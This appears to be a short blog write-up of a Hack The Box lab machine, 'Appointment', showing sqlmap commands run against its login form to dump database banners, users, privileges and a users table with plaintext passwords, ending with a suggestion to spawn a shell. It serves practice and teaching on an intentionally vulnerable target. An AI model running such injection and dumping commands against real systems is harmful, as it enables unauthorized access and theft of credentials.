Getting more data with sqlmap

Getting more data with sqlmap

Starting point HTB machine "Appointment" is a simple web app that has a vulnerable SQL Injection login bypass.

Tidak ada teks alternatif tersedia untuk gambar ini

We can know it by trying some SQL Injection payload to bypass the login page and get the flag.

Tidak ada teks alternatif tersedia untuk gambar ini

--

So, I want to know how great is sqlmap to find "more" data from the vulnerable login page.

As a background, I don't know:

  • what version of the database
  • what is the hostname
  • what is database username being used
  • etc

The first step, I ran this command:

$ python3 sqlmap.py -u 'http://10.129.11.144/' --data="username=admin&password=admin" -a        

it stopped with no significant info. But I got the database type that is being used by the web app.

Tidak ada teks alternatif tersedia untuk gambar ini

So I re-ran again with adding one more parameter "--dbms=mysql"

$ python3 sqlmap.py -u 'http://10.129.11.144/' --data="username=admin&password=admin" -a --dbms=mysql        

I got more interesting data:

  • Banners

Tidak ada teks alternatif tersedia untuk gambar ini

  • Current user

Tidak ada teks alternatif tersedia untuk gambar ini

  • Current database and hostname

Tidak ada teks alternatif tersedia untuk gambar ini

  • list DBMS users

Tidak ada teks alternatif tersedia untuk gambar ini

  • DBMS user privileges and roles

Tidak ada teks alternatif tersedia untuk gambar ini

  • Retrieve Tables

Database: appdb
Table: users
[2 entries]
+----+---------------------------------------------------+----------+
| id | password                                          | username |
+----+---------------------------------------------------+----------+
| 1  | 328ufsdhjfu2hfnjsekh3rihjfcn23KDFmfesd239"23m^jdf | admin    |
| 2  | bababa                                            | test     |
+----+---------------------------------------------------+----------+

        

--

Next step, perhaps try to spawn a shell :)





To view or add a comment, sign in

More articles by Herwindyo Purbo

Explore content categories